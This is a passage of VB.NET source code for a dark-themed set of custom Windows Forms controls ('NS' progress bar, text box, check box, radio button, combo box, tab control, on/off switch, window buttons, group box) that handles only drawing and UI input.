IsMouseDown = False + Invalidate() + End Sub + +End Class + +Class NSProgressBar + Inherits Control + + Private _Minimum As Integer + Property Minimum() As Integer + Get + Return _Minimum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Minimum = value + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + Invalidate() + End Set + End Property + + Private _Maximum As Integer = 100 + Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value < 0 Then + Throw New Exception("Property value is not valid.") + End If + + _Maximum = value + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + Invalidate() + End Set + End Property + + Private _Value As Integer + Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + If value > _Maximum OrElse value < _Minimum Then + Throw New Exception("Property value is not valid.") + End If + + _Value = value + Invalidate() + End Set + End Property + + Private Sub Increment(ByVal amount As Integer) + Value += amount + End Sub + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(55, 55, 55)) + B1 = New SolidBrush(Color.FromArgb(51, 181, 229)) + End Sub + + Private GP1, GP2, GP3 As GraphicsPath + + Private R1, R2 As Rectangle + + Private P1, P2 As Pen + Private B1 As SolidBrush + Private GB1, GB2 As LinearGradientBrush + + Private I1 As Integer + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 0, Width - 1, Height - 1, 7) + GP2 = CreateRound(1, 1, Width - 3, Height - 3, 7) + + R1 = New Rectangle(0, 2, Width - 1, Height - 1) + GB1 = New LinearGradientBrush(R1, Color.FromArgb(45, 45, 45), Color.FromArgb(50, 50, 50), 90.0F) + + G.SetClip(GP1) + G.FillRectangle(GB1, R1) + + I1 = CInt((_Value - _Minimum) / (_Maximum - _Minimum) * (Width - 3)) + + If I1 > 1 Then + GP3 = CreateRound(1, 1, I1, Height - 3, 7) + + R2 = New Rectangle(1, 1, I1, Height - 3) + GB2 = New LinearGradientBrush(R2, Color.FromArgb(51, 181, 229), Color.FromArgb(0, 153, 204), 90.0F) + + G.FillPath(GB2, GP3) + G.DrawPath(P1, GP3) + + G.SetClip(GP3) + G.SmoothingMode = SmoothingMode.None + + G.FillRectangle(B1, R2.X, R2.Y + 1, R2.Width, R2.Height \ 2) + + G.SmoothingMode = SmoothingMode.AntiAlias + G.ResetClip() + End If + + G.DrawPath(P2, GP1) + G.DrawPath(P1, GP2) + End Sub + +End Class + +Class NSLabel + Inherits Control + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Font = New Font("Segoe UI", 11.25F, FontStyle.Bold) + + B1 = New SolidBrush(Color.FromArgb(51, 181, 229)) + End Sub + + Private _Value1 As String = "NET" + Public Property Value1() As String + Get + Return _Value1 + End Get + Set(ByVal value As String) + _Value1 = value + Invalidate() + End Set + End Property + + Private _Value2 As String = "SEAL" + Public Property Value2() As String + Get + Return _Value2 + End Get + Set(ByVal value As String) + _Value2 = value + Invalidate() + End Set + End Property + + Private B1 As SolidBrush + + Private PT1, PT2 As PointF + Private SZ1, SZ2 As SizeF + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + + SZ1 = G.MeasureString(Value1, Font, Width, StringFormat.GenericTypographic) + SZ2 = G.MeasureString(Value2, Font, Width, StringFormat.GenericTypographic) + + PT1 = New PointF(0, Height \ 2 - SZ1.Height / 2) + PT2 = New PointF(SZ1.Width + 1, Height \ 2 - SZ1.Height / 2) + + G.DrawString(Value1, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(Value1, Font, Brushes.WhiteSmoke, PT1) + + G.DrawString(Value2, Font, Brushes.Black, PT2.X + 1, PT2.Y + 1) + G.DrawString(Value2, Font, B1, PT2) + End Sub + +End Class + +Class KachClazz + Inherits Control + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Font = New Font("Segoe UI", 11.25F, FontStyle.Bold) + + B1 = New SolidBrush(Color.FromArgb(51, 181, 229)) + End Sub + + Private _Value1 As String = "Ќąȼh" + Public Property Value1() As String + Get + Return _Value1 + End Get + Set(ByVal value As String) + _Value1 = value + Invalidate() + End Set + End Property + + Private _Value2 As String = "ȼℓąƶƶ" + Public Property Value2() As String + Get + Return _Value2 + End Get + Set(ByVal value As String) + _Value2 = value + Invalidate() + End Set + End Property + + Private B1 As SolidBrush + + Private PT1, PT2 As PointF + Private SZ1, SZ2 As SizeF + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + + SZ1 = G.MeasureString(Value1, Font, Width, StringFormat.GenericTypographic) + SZ2 = G.MeasureString(Value2, Font, Width, StringFormat.GenericTypographic) + + PT1 = New PointF(0, Height \ 2 - SZ1.Height / 2) + PT2 = New PointF(SZ1.Width + 1, Height \ 2 - SZ1.Height / 2) + + G.DrawString(Value1, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(Value1, Font, Brushes.WhiteSmoke, PT1) + + G.DrawString(Value2, Font, Brushes.Black, PT2.X + 1, PT2.Y + 1) + G.DrawString(Value2, Font, B1, PT2) + End Sub + +End Class + + + _ +Class NSTextBox + Inherits Control + + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If Base IsNot Nothing Then + Base.TextAlign = value + End If + End Set + End Property + + Private _MaxLength As Integer = 32767 + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If Base IsNot Nothing Then + Base.MaxLength = value + End If + End Set + End Property + + Private _ReadOnly As Boolean + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If Base IsNot Nothing Then + Base.ReadOnly = value + End If + End Set + End Property + + Private _UseSystemPasswordChar As Boolean + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If Base IsNot Nothing Then + Base.UseSystemPasswordChar = value + End If + End Set + End Property + + Private _Multiline As Boolean + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If Base IsNot Nothing Then + Base.Multiline = value + + If value Then + Base.Height = Height - 11 + Else + Height = Base.Height + 11 + End If + End If + End Set + End Property + + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If Base IsNot Nothing Then + Base.Text = value + End If + End Set + End Property + + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If Base IsNot Nothing Then + Base.Font = value + Base.Location = New Point(5, 5) + Base.Width = Width - 8 + + If Not _Multiline Then + Height = Base.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnHandleCreated(e As EventArgs) + If Not Controls.Contains(Base) Then + Controls.Add(Base) + End If + + MyBase.OnHandleCreated(e) + End Sub + + Private Base As TextBox + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, True) + + Cursor = Cursors.IBeam + + Base = New TextBox + Base.Font = Font + Base.Text = Text + Base.MaxLength = _MaxLength + Base.Multiline = _Multiline + Base.ReadOnly = _ReadOnly + Base.UseSystemPasswordChar = _UseSystemPasswordChar + + Base.ForeColor = Color.FromArgb(235, 235, 235) + Base.BackColor = Color.FromArgb(50, 50, 50) + + Base.BorderStyle = BorderStyle.None + + Base.Location = New Point(5, 5) + Base.Width = Width - 14 + + If _Multiline Then + Base.Height = Height - 11 + Else + Height = Base.Height + 11 + End If + + AddHandler Base.TextChanged, AddressOf OnBaseTextChanged + AddHandler Base.KeyDown, AddressOf OnBaseKeyDown + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(55, 55, 55)) + End Sub + + Private GP1, GP2 As GraphicsPath + + Private P1, P2 As Pen + Private PB1 As PathGradientBrush + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 0, Width - 1, Height - 1, 7) + GP2 = CreateRound(1, 1, Width - 3, Height - 3, 7) + + PB1 = New PathGradientBrush(GP1) + PB1.CenterColor = Color.FromArgb(50, 50, 50) + PB1.SurroundColors = {Color.FromArgb(45, 45, 45)} + PB1.FocusScales = New PointF(0.9F, 0.5F) + + G.FillPath(PB1, GP1) + + G.DrawPath(P2, GP1) + G.DrawPath(P1, GP2) + End Sub + + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = Base.Text + End Sub + + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + Base.SelectAll() + e.SuppressKeyPress = True + End If + End Sub + + Protected Overrides Sub OnResize(ByVal e As EventArgs) + Base.Location = New Point(5, 5) + + Base.Width = Width - 10 + Base.Height = Height - 11 + + MyBase.OnResize(e) + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + Base.Focus() + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnEnter(e As EventArgs) + Base.Focus() + Invalidate() + MyBase.OnEnter(e) + End Sub + + Protected Overrides Sub OnLeave(e As EventArgs) + Invalidate() + MyBase.OnLeave(e) + End Sub + +End Class + + _ +Class NSCheckBox + Inherits Control + + Event CheckedChanged(sender As Object) + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + P11 = New Pen(Color.FromArgb(55, 55, 55)) + P22 = New Pen(Color.FromArgb(24, 24, 24)) + P3 = New Pen(Color.Black, 2.0F) + P4 = New Pen(Color.FromArgb(235, 235, 235), 2.0F) + End Sub + + Private _Checked As Boolean + Public Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + RaiseEvent CheckedChanged(Me) + + Invalidate() + End Set + End Property + + Private GP1, GP2 As GraphicsPath + + Private SZ1 As SizeF + Private PT1 As PointF + + Private P11, P22, P3, P4 As Pen + + Private PB1 As PathGradientBrush + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 2, Height - 5, Height - 5, 5) + GP2 = CreateRound(1, 3, Height - 7, Height - 7, 5) + + PB1 = New PathGradientBrush(GP1) + PB1.CenterColor = Color.FromArgb(50, 50, 50) + PB1.SurroundColors = {Color.FromArgb(45, 45, 45)} + PB1.FocusScales = New PointF(0.3F, 0.3F) + + G.FillPath(PB1, GP1) + G.DrawPath(P11, GP1) + G.DrawPath(P22, GP2) + + If _Checked Then + G.DrawLine(P3, 5, Height - 9, 8, Height - 7) + G.DrawLine(P3, 7, Height - 7, Height - 8, 7) + + G.DrawLine(P4, 4, Height - 10, 7, Height - 8) + G.DrawLine(P4, 6, Height - 8, Height - 9, 6) + End If + + SZ1 = G.MeasureString(Text, Font) + PT1 = New PointF(Height - 3, Height \ 2 - SZ1.Height / 2) + + G.DrawString(Text, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(Text, Font, Brushes.WhiteSmoke, PT1) + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + Checked = Not Checked + End Sub + +End Class + + _ +Class NSRadioButton + Inherits Control + + Event CheckedChanged(sender As Object) + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + P1 = New Pen(Color.FromArgb(55, 55, 55)) + P2 = New Pen(Color.FromArgb(24, 24, 24)) + End Sub + + Private _Checked As Boolean + Public Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + + If _Checked Then + InvalidateParent() + End If + + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + + Private Sub InvalidateParent() + If Parent Is Nothing Then Return + + For Each C As Control In Parent.Controls + If Not (C Is Me) AndAlso (TypeOf C Is NSRadioButton) Then + DirectCast(C, NSRadioButton).Checked = False + End If + Next + End Sub + + Private GP1 As GraphicsPath + + Private SZ1 As SizeF + Private PT1 As PointF + + Private P1, P2 As Pen + + Private PB1 As PathGradientBrush + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = New GraphicsPath + GP1.AddEllipse(0, 2, Height - 5, Height - 5) + + PB1 = New PathGradientBrush(GP1) + PB1.CenterColor = Color.FromArgb(50, 50, 50) + PB1.SurroundColors = {Color.FromArgb(45, 45, 45)} + PB1.FocusScales = New PointF(0.3F, 0.3F) + + G.FillPath(PB1, GP1) + + G.DrawEllipse(P1, 0, 2, Height - 5, Height - 5) + G.DrawEllipse(P2, 1, 3, Height - 7, Height - 7) + + If _Checked Then + G.FillEllipse(Brushes.Black, 6, 8, Height - 15, Height - 15) + G.FillEllipse(Brushes.WhiteSmoke, 5, 7, Height - 15, Height - 15) + End If + + SZ1 = G.MeasureString(Text, Font) + PT1 = New PointF(Height - 3, Height \ 2 - SZ1.Height / 2) + + G.DrawString(Text, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(Text, Font, Brushes.WhiteSmoke, PT1) + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + Checked = True + MyBase.OnMouseDown(e) + End Sub + +End Class + +Class NSComboBox + Inherits ComboBox + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed + DropDownStyle = ComboBoxStyle.DropDownList + + BackColor = Color.FromArgb(50, 50, 50) + ForeColor = Color.FromArgb(235, 235, 235) + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(235, 235, 235), 2.0F) + P3 = New Pen(Brushes.Black, 2.0F) + P4 = New Pen(Color.FromArgb(65, 65, 65)) + + B1 = New SolidBrush(Color.FromArgb(65, 65, 65)) + B2 = New SolidBrush(Color.FromArgb(55, 55, 55)) + End Sub + + Private GP1, GP2 As GraphicsPath + + Private SZ1 As SizeF + Private PT1 As PointF + + Private P1, P2, P3, P4 As Pen + Private B1, B2 As SolidBrush + + Private GB1 As LinearGradientBrush + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 0, Width - 1, Height - 1, 7) + GP2 = CreateRound(1, 1, Width - 3, Height - 3, 7) + + GB1 = New LinearGradientBrush(ClientRectangle, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90.0F) + G.SetClip(GP1) + G.FillRectangle(GB1, ClientRectangle) + G.ResetClip() + + G.DrawPath(P1, GP1) + G.DrawPath(P4, GP2) + + SZ1 = G.MeasureString(Text, Font) + PT1 = New PointF(5, Height \ 2 - SZ1.Height / 2) + + G.DrawString(Text, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1) + G.DrawString(Text, Font, Brushes.WhiteSmoke, PT1) + + G.DrawLine(P3, Width - 15, 10, Width - 11, 13) + G.DrawLine(P3, Width - 7, 10, Width - 11, 13) + G.DrawLine(Pens.Black, Width - 11, 13, Width - 11, 14) + + G.DrawLine(P2, Width - 16, 9, Width - 12, 12) + G.DrawLine(P2, Width - 8, 9, Width - 12, 12) + G.DrawLine(Pens.WhiteSmoke, Width - 12, 12, Width - 12, 13) + + G.DrawLine(P1, Width - 22, 0, Width - 22, Height) + G.DrawLine(P4, Width - 23, 1, Width - 23, Height - 2) + G.DrawLine(P4, Width - 21, 1, Width - 21, Height - 2) + End Sub + + Protected Overrides Sub OnDrawItem(e As DrawItemEventArgs) + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then + e.Graphics.FillRectangle(B1, e.Bounds) + Else + e.Graphics.FillRectangle(B2, e.Bounds) + End If + + If Not e.Index = -1 Then + e.Graphics.DrawString(GetItemText(Items(e.Index)), e.Font, Brushes.WhiteSmoke, e.Bounds) + End If + End Sub + +End Class + +Class NSTabControl + Inherits TabControl + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + SizeMode = TabSizeMode.Fixed + Alignment = TabAlignment.Left + ItemSize = New Size(28, 115) + + DrawMode = TabDrawMode.OwnerDrawFixed + + P1 = New Pen(Color.FromArgb(55, 55, 55)) + P2 = New Pen(Color.FromArgb(24, 24, 24)) + P3 = New Pen(Color.FromArgb(45, 45, 45), 2) + + B1 = New SolidBrush(Color.FromArgb(50, 50, 50)) + B2 = New SolidBrush(Color.FromArgb(24, 24, 24)) + B3 = New SolidBrush(Color.FromArgb(51, 181, 229)) + B4 = New SolidBrush(Color.FromArgb(65, 65, 65)) + + SF1 = New StringFormat() + SF1.LineAlignment = StringAlignment.Center + End Sub + + Protected Overrides Sub OnControlAdded(e As ControlEventArgs) + If TypeOf e.Control Is TabPage Then + e.Control.BackColor = Color.FromArgb(50, 50, 50) + End If + + MyBase.OnControlAdded(e) + End Sub + + Private GP1, GP2, GP3, GP4 As GraphicsPath + + Private R1, R2 As Rectangle + + Private P1, P2, P3 As Pen + Private B1, B2, B3, B4 As SolidBrush + + Private PB1 As PathGradientBrush + + Private TP1 As TabPage + Private SF1 As StringFormat + + Private Offset As Integer + Private ItemHeight As Integer + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(Color.FromArgb(50, 50, 50)) + G.SmoothingMode = SmoothingMode.AntiAlias + + ItemHeight = ItemSize.Height + 2 + + GP1 = CreateRound(0, 0, ItemHeight + 3, Height - 1, 7) + GP2 = CreateRound(1, 1, ItemHeight + 3, Height - 3, 7) + + PB1 = New PathGradientBrush(GP1) + PB1.CenterColor = Color.FromArgb(50, 50, 50) + PB1.SurroundColors = {Color.FromArgb(45, 45, 45)} + PB1.FocusScales = New PointF(0.8F, 0.95F) + + G.FillPath(PB1, GP1) + + G.DrawPath(P1, GP1) + G.DrawPath(P2, GP2) + + For I As Integer = 0 To TabCount - 1 + R1 = GetTabRect(I) + R1.Y += 2 + R1.Height -= 3 + R1.Width += 1 + R1.X -= 1 + + TP1 = TabPages(I) + Offset = 0 + + If SelectedIndex = I Then + G.FillRectangle(B1, R1) + + For J As Integer = 0 To 1 + G.FillRectangle(B2, R1.X + 5 + (J * 5), R1.Y + 6, 2, R1.Height - 9) + + G.SmoothingMode = SmoothingMode.None + G.FillRectangle(B3, R1.X + 5 + (J * 5), R1.Y + 5, 2, R1.Height - 9) + G.SmoothingMode = SmoothingMode.AntiAlias + + Offset += 5 + Next + + G.DrawRectangle(P3, R1.X + 1, R1.Y - 1, R1.Width, R1.Height + 2) + G.DrawRectangle(P1, R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height - 2) + G.DrawRectangle(P2, R1) + Else + For J As Integer = 0 To 1 + G.FillRectangle(B2, R1.X + 5 + (J * 5), R1.Y + 6, 2, R1.Height - 9) + + G.SmoothingMode = SmoothingMode.None + G.FillRectangle(B4, R1.X + 5 + (J * 5), R1.Y + 5, 2, R1.Height - 9) + G.SmoothingMode = SmoothingMode.AntiAlias + + Offset += 5 + Next + End If + + R1.X += 5 + Offset + + R2 = R1 + R2.Y += 1 + R2.X += 1 + + G.DrawString(TP1.Text, Font, Brushes.Black, R2, SF1) + G.DrawString(TP1.Text, Font, Brushes.WhiteSmoke, R1, SF1) + Next + + GP3 = CreateRound(ItemHeight, 0, Width - ItemHeight - 1, Height - 1, 7) + GP4 = CreateRound(ItemHeight + 1, 1, Width - ItemHeight - 3, Height - 3, 7) + + G.DrawPath(P2, GP3) + G.DrawPath(P1, GP4) + End Sub + +End Class + + _ +Class NSOnOffBox + Inherits Control + + Event CheckedChanged(sender As Object) + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + P1 = New Pen(Color.FromArgb(55, 55, 55)) + P2 = New Pen(Color.FromArgb(24, 24, 24)) + P3 = New Pen(Color.FromArgb(65, 65, 65)) + + B1 = New SolidBrush(Color.FromArgb(24, 24, 24)) + B2 = New SolidBrush(Color.FromArgb(85, 85, 85)) + B3 = New SolidBrush(Color.FromArgb(65, 65, 65)) + B4 = New SolidBrush(Color.FromArgb(51, 181, 229)) + B5 = New SolidBrush(Color.FromArgb(40, 40, 40)) + + SF1 = New StringFormat() + SF1.LineAlignment = StringAlignment.Center + SF1.Alignment = StringAlignment.Near + + SF2 = New StringFormat() + SF2.LineAlignment = StringAlignment.Center + SF2.Alignment = StringAlignment.Far + + Size = New Size(56, 24) + MinimumSize = Size + MaximumSize = Size + End Sub + + Private _Checked As Boolean + Public Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + RaiseEvent CheckedChanged(Me) + + Invalidate() + End Set + End Property + + Private GP1, GP2, GP3, GP4 As GraphicsPath + + Private P1, P2, P3 As Pen + Private B1, B2, B3, B4, B5 As SolidBrush + + Private PB1 As PathGradientBrush + Private GB1 As LinearGradientBrush + + Private R1, R2, R3 As Rectangle + Private SF1, SF2 As StringFormat + + Private Offset As Integer + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 0, Width - 1, Height - 1, 7) + GP2 = CreateRound(1, 1, Width - 3, Height - 3, 7) + + PB1 = New PathGradientBrush(GP1) + PB1.CenterColor = Color.FromArgb(50, 50, 50) + PB1.SurroundColors = {Color.FromArgb(45, 45, 45)} + PB1.FocusScales = New PointF(0.3F, 0.3F) + + G.FillPath(PB1, GP1) + G.DrawPath(P1, GP1) + G.DrawPath(P2, GP2) + + R1 = New Rectangle(5, 0, Width - 10, Height + 2) + R2 = New Rectangle(6, 1, Width - 10, Height + 2) + + R3 = New Rectangle(1, 1, (Width \ 2) - 1, Height - 3) + + If _Checked Then + G.DrawString("On", Font, Brushes.Black, R2, SF1) + G.DrawString("On", Font, Brushes.WhiteSmoke, R1, SF1) + + R3.X += (Width \ 2) - 1 + Else + G.DrawString("Off", Font, B1, R2, SF2) + G.DrawString("Off", Font, B2, R1, SF2) + End If + + GP3 = CreateRound(R3, 7) + GP4 = CreateRound(R3.X + 1, R3.Y + 1, R3.Width - 2, R3.Height - 2, 7) + + GB1 = New LinearGradientBrush(ClientRectangle, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90.0F) + + G.FillPath(GB1, GP3) + G.DrawPath(P2, GP3) + G.DrawPath(P3, GP4) + + Offset = R3.X + (R3.Width \ 2) - 3 + + For I As Integer = 0 To 1 + If _Checked Then + G.FillRectangle(B1, Offset + (I * 5), 7, 2, Height - 14) + Else + G.FillRectangle(B3, Offset + (I * 5), 7, 2, Height - 14) + End If + + G.SmoothingMode = SmoothingMode.None + + If _Checked Then + G.FillRectangle(B4, Offset + (I * 5), 7, 2, Height - 14) + Else + G.FillRectangle(B5, Offset + (I * 5), 7, 2, Height - 14) + End If + + G.SmoothingMode = SmoothingMode.AntiAlias + Next + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + Checked = Not Checked + MyBase.OnMouseDown(e) + End Sub + +End Class + +Class NSControlButton + Inherits Control + + Enum Button As Byte + None = 0 + Minimize = 1 + MaximizeRestore = 2 + Close = 3 + End Enum + + Private _ControlButton As Button = Button.Close + Public Property ControlButton() As Button + Get + Return _ControlButton + End Get + Set(ByVal value As Button) + _ControlButton = value + Invalidate() + End Set + End Property + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + Anchor = AnchorStyles.Top Or AnchorStyles.Right + + Width = 18 + Height = 20 + + MinimumSize = Size + MaximumSize = Size + + Margin = New Padding(0) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + G = e.Graphics + G.Clear(BackColor) + + Select Case _ControlButton + Case Button.Minimize + DrawMinimize(3, 10) + Case Button.MaximizeRestore + If FindForm().WindowState = FormWindowState.Normal Then + DrawMaximize(3, 5) + Else + DrawRestore(3, 4) + End If + Case Button.Close + DrawClose(4, 5) + End Select + End Sub + + Private Sub DrawMinimize(ByVal x As Integer, ByVal y As Integer) + G.FillRectangle(Brushes.WhiteSmoke, x, y, 12, 5) + G.DrawRectangle(Pens.Black, x, y, 11, 4) + End Sub + + Private Sub DrawMaximize(ByVal x As Integer, ByVal y As Integer) + G.DrawRectangle(New Pen(Color.FromArgb(235, 235, 235), 2), x + 2, y + 2, 8, 6) + G.DrawRectangle(Pens.Black, x, y, 11, 9) + G.DrawRectangle(Pens.Black, x + 3, y + 3, 5, 3) + End Sub + + Private Sub DrawRestore(ByVal x As Integer, ByVal y As Integer) + G.FillRectangle(Brushes.WhiteSmoke, x + 3, y + 1, 8, 4) + G.FillRectangle(Brushes.WhiteSmoke, x + 7, y + 5, 4, 4) + G.DrawRectangle(Pens.Black, x + 2, y + 0, 9, 9) + + G.FillRectangle(Brushes.WhiteSmoke, x + 1, y + 3, 2, 6) + G.FillRectangle(Brushes.WhiteSmoke, x + 1, y + 9, 8, 2) + G.DrawRectangle(Pens.Black, x, y + 2, 9, 9) + G.DrawRectangle(Pens.Black, x + 3, y + 5, 3, 3) + End Sub + + Private ClosePath As GraphicsPath + Private Sub DrawClose(ByVal x As Integer, ByVal y As Integer) + If ClosePath Is Nothing Then + ClosePath = New GraphicsPath + ClosePath.AddLine(x + 1, y, x + 3, y) + ClosePath.AddLine(x + 5, y + 2, x + 7, y) + ClosePath.AddLine(x + 9, y, x + 10, y + 1) + ClosePath.AddLine(x + 7, y + 4, x + 7, y + 5) + ClosePath.AddLine(x + 10, y + 8, x + 9, y + 9) + ClosePath.AddLine(x + 7, y + 9, x + 5, y + 7) + ClosePath.AddLine(x + 3, y + 9, x + 1, y + 9) + ClosePath.AddLine(x + 0, y + 8, x + 3, y + 5) + ClosePath.AddLine(x + 3, y + 4, x + 0, y + 1) + End If + G.FillPath(Brushes.WhiteSmoke, ClosePath) + G.DrawPath(Pens.Black, ClosePath) + End Sub + + Protected Overrides Sub OnMouseClick(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then + + Dim F As Form = FindForm() + + Select Case _ControlButton + Case Button.Minimize + F.WindowState = FormWindowState.Minimized + Case Button.MaximizeRestore + If F.WindowState = FormWindowState.Normal Then + F.WindowState = FormWindowState.Maximized + Else + F.WindowState = FormWindowState.Normal + End If + Case Button.Close + F.Close() + End Select + + End If + + Invalidate() + MyBase.OnMouseClick(e) + End Sub + +End Class + +Class NSGroupBox + Inherits ContainerControl + + Private _DrawSeperator As Boolean + Public Property DrawSeperator() As Boolean + Get + Return _DrawSeperator + End Get + Set(ByVal value As Boolean) + _DrawSeperator = value + Invalidate() + End Set + End Property + + Private _Title As String = "GroupBox" + Public Property Title() As String + Get + Return _Title + End Get + Set(ByVal value As String) + _Title = value + Invalidate() + End Set + End Property + + Private _SubTitle As String = "Details" + Public Property SubTitle() As String + Get + Return _SubTitle + End Get + Set(ByVal value As String) + _SubTitle = value + Invalidate() + End Set + End Property + + Private _TitleFont As Font + Private _SubTitleFont As Font + + Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + + _TitleFont = New Font("Verdana", 10.0F) + _SubTitleFont = New Font("Verdana", 6.5F) + + P1 = New Pen(Color.FromArgb(24, 24, 24)) + P2 = New Pen(Color.FromArgb(55, 55, 55)) + + B1 = New SolidBrush(Color.FromArgb(51, 181, 229)) + End Sub + + Private GP1, GP2 As GraphicsPath + + Private PT1 As PointF + Private SZ1, SZ2 As SizeF + + Private P1, P2 As Pen + Private B1 As SolidBrush + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + G = e.Graphics + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + + G.Clear(BackColor) + G.SmoothingMode = SmoothingMode.AntiAlias + + GP1 = CreateRound(0, 0, Width - 1, Height - 1, 7) + GP2 = CreateRound(1, 1, Width - 3, Height - 3, 7) + + G.DrawPath(P1, GP1) + G.DrawPath(P2, GP2) + + SZ1 = G.MeasureString(_Title, _TitleFont, Width, StringFormat.GenericTypographic) + SZ2 = G.MeasureString(_SubTitle, _SubTitleFont, Width, StringFormat.GenericTypographic) + + G.DrawString(_Title, _TitleFont, Brushes.Black, 6, 6) + G.DrawString(_Title, _TitleFont, B1, 5, 5) + + PT1 = New PointF(6.0F, SZ1.Height + 4.0F) + + G.DrawString(_SubTitle, 